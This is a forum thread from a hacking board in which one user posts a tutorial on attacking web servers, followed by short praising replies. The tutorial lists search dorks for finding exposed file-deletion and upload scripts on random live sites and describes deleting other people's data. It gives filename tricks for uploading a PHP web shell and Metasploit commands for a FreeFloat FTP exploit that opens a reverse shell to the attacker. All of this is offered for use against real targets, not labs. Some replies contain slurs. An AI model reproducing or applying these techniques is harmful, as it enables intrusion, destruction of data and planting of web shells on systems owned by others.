

Forum:[Hack Forums](#)

Thread: [Antagonism | Arbitrary File Handling \[Tutorial\]](#)

Keeper - January 17, 2013, 10:20 am

Introduction

Let's start off with the definition. An arbitrary file is any file on a specific server or system. Basically, the arbitrary file is a file that allows you to modify everything on a system. For example, if you got access to a particular website part of a shared server and you manage to root it, the files from the "box" are arbitrary - those on the site itself are not.

Now, we can have only a limited number of actions handling arbitrary files. Those are the three following:

- [*] Arbitrary File Deletion
- [*] Arbitrary File Overwriting
- [*] Arbitrary File Uploading

Arbitrary File Deletion

Such method is most usually implemented on websites that lack directory access permissions or do not have any at all. In that case, the hacker can easily directly access the page for file deletion. It is most usually used for random websites, since exploring a targeted website could take quite a lot of time in order to find the path (if, of course, you don't already have the server-side files).

I've posted some dorks for arbitrary file deletion below:

```
Code inurl:"delete.php?file=" ext:php
inurl:"delete?filename=" ext:php
inurl:"delete.aspx?file=" ext:php
inurl:"action=delete?file=" ext:php
Let's say, we've found a website
```

We can see in the URL the directory of `../delete.php?file=`

In our case the target for deletion is a person's information board. It is just encoded in Base64 for some reason and resolves to the following string:

```
Code /www/egypt3/data/peop/Selvia,+John+and+Lisa/phone1
```

We may use this parameter to delete any file on the server that is hosted on this particular website as long as we are aware of the full path or manage to exploit a directory disclosure vulnerability.

Arbitrary File Upload

Get about some dork and find an uploading script.

Code inurl:"upload.php?file=" ext:php

inurl:"upload?filename=" ext:php

inurl:"upload.aspx?file=" ext:php

inurl:"action=upload?file=" ext:php

This is how my target looks like. A simple upload page (possibly without any filtration upon user input).

Try and upload your shell directly. If not successful, spoof the extension to one of these using the null byte:

Code shell.php;.jpg

shell.php.jpg

shell.php.jpg;

shell.php.jpg;;

shell.php.jpg%;

shell.php.jpg%00

shell.php%00.jpg

shell.php.jpg;%00

shell.php.jpg%00;;

and upon uploading, tamper the POST request with Tamper Data (this has been covered on a lot of tutorials, and you could really easily search for it rather than me explaining it over and over again) so as to change the extension back to what it really is (.php).

Whoops, we've got our c99 uploaded on their server. If that method of uploading did not work for you, try using a binder and spoof the extension properly.

FreeFloat FTP

I decided to put up a basic example of a windows exploitation through Metasploit using a public exploit. We gonna use FreeFloat FTP exploit to upload an Arbitrary File on a server. The exploit usage is the following:

This module abuses multiple issues in FreeFloat: 1. No credential is actually needed to login; 2. User's default path is in C:\, and this cannot be changed; 3. User can write to anywhere on the server's file system. As a result of these poor implementations, a malicious user can just log in and then upload files, and let WMI (Management Instrumentation service) to execute the payload uploaded.

Code \$ msfconsole

```
msf > use exploit/windows/ftp/freefloatftp_wbem
```

```
msf exploit(freefloatftp_wbem) > show payloads
```

```
msf exploit(freefloatftp_wbem) > set PAYLOAD windows/meterpreter/reverse_tcp
```

```
msf exploit(freefloatftp_wbem) > set LHOST [MY IP ADDRESS]
```

```
msf exploit(freefloatftp_wbem) > set RHOST [TARGET IP]
```

```
msf exploit(freefloatftp_wbem) > exploit
```

Set/Define the payload

Define the localhost [LHOST]. You can view your IP address with ifconfig under your network interface (most usually eth1), next to inet addr.

Define the Remote Host [RHOST]. Just the IP address of the windows victim machine.

Now type Code exploit (how ironic) and the payload should be delivered successfully.

That's all about Arbitrary Files I managed to think of. Leave a comment and hope you learnt something! ?

Szakalaka - January 17, 2013, 10:53 am

Very HQ thread. By the way, i saw few tuts from today created by antagonism, its new group or im just not up to date? :)

Keeper - January 17, 2013, 11:08 am

(Jan 17, 2013 11:53 AM)Szakalaka Wrote: [\[CITE\]](#) Very HQ thread. By the way, i saw few tuts from today created by antagonism, its new group or im just not up to date? :)

It's not new, but there's been a recruitment. Also -Divine and me are starting a massive compilation of tutorials devoted to #Antagonism - so a lot more to come :)

-?Divine- - January 17, 2013, 11:55 am

Nice tutorial. If you have free time, you might want to add tampering because there are a lot of newbies out there.

Keeper - January 18, 2013, 12:56 pm

(Jan 17, 2013 12:55 PM)-?Divine- Wrote: [\[CITE\]](#) Amazing tutorial. If you have free time, you might want to add tampering because there are a lot of newbies out there.

I will when I finish the next one. Thanks ;)

Energeticman - October 24, 2013, 2:39 pm

It's a very usefull tutorial for the newbies. Thank you!

DougX - October 24, 2013, 6:59 pm

Very nice tutorial here! I am playing with FreeFloat FTP now

-?Divine- - October 25, 2013, 4:07 am

Woah this thread is old. Your GFX sucked so bad back in the day lol.

Keeper - October 25, 2013, 4:31 am

The Freefloat was not even running on my end. But why the hell are you all posting in this gay thread when my newest ones are buried.

-?Divine- - October 25, 2013, 4:50 am

(Oct 25, 2013 04:31 AM)Keeper Wrote: [\[CITE\]](#) The Freefloat was not even running on my end. But why the hell are you all posting in this gay thread when my newest ones are buried.

Life isn't fair Keeper. Reply to this and help us continue with keeping it alive. Don't reply and fall for reverse psychology. Which one shall it be?

Monte Cristo - *October 25, 2013, 4:53 am*

Code inurl:"upload.aspx?file=" ext:php

Well, duel extensions.

If they have that then they're definitely vulnerable, fuck me.

rm -rf -R system32 - *October 27, 2013, 5:24 am*

(Oct 25, 2013 04:53 AM)Max Wrote: [\[CITE\]](#) Code inurl:"upload.aspx?file=" ext:php

Well, duel extensions.

If they have that then they're definitely vulnerable, fuck me.

Everyone makes mistakes, Like duel instead of dual. Get a life instead of correcting people kid

dabox - *October 27, 2013, 6:13 am*

nice tut, i know it time ago :D keep....

samrokzz - *October 27, 2013, 6:14 am*

Nice tutorial , Thanks for sharing .

g00dguy - *December 29, 2016, 6:33 am*

Great tutorial!

Thanks so much, bro